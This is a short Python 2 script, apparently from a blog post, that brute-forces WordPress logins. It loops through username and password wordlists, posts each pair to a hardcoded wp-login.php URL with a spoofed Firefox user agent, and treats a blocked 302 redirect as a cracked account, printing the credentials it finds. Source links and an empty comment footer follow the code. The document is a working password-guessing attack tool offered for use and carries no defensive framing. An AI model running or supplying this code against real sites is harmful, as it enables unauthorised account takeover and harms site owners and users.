1 import urllib
2 import urllib2
3 import re
4
5 user_agent=('User-Agent','''Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0''')
6 url='http://ifrouter.blogspot.com/wp-login.php'
7
8 class StopRedirectHandler(urllib2.HTTPRedirectHandler):
9 def http_error_301(self,req,fp,code,msg,headers):
10 pass
11 def http_error_302(self,req,fp,code,msg,headers):
12 pass
13
14 def read_info(user_file,pass_file):
15 with open(user_file) as fi_u:
16 lu= [ i.strip() for i in fi_u.readlines()]
17 with open(pass_file) as fi_p:
18 lp= [ i.strip() for i in fi_p.readlines()]
19 return (lu,lp)
20
21 def wp_login(url,users,pwd):
22 post_data=urllib.urlencode({'log':users,'pwd':pwd})
23
24 try:
25 print "try password : %s" %pwd
26 repose = opener.open(url, data=post_data,timeout=18)
27 repose_html= repose.read()
28 if re.search('Lost your password', repose_html, re.I ) != None :
29 return False
30 except urllib2.HTTPError as e:
31 if e.code==302:
32 print 'users is: %s ; password is: %s' % (users,pwd)
33 return True
34 else :
35 print e
36 return False
37 except Exception as e:
38 print e
39 return False
40 if __name__ == '__main__':
41 opener = urllib2.build_opener(StopRedirectHandler)
42 opener.addheaders = [(user_agent)]
43 users,passwords = read_info('users.txt','password.txt')
44 print 'start crack...'
45 for user in users:
46 for pwd in passwords:
47 post_data=urllib.urlencode({'log':user,'pwd':pwd})
48 if wp_login(url, user, pwd) :
49 exit()
50 print 'crack end!!!'
51
52
src: https://github.com/i3here/Web/tree/master
https://drive.google.com/file/d/0B3xt4Nh1OAl6MkVpZDdIODVQZW8/edit?usp=sharing
没有评论:
发表评论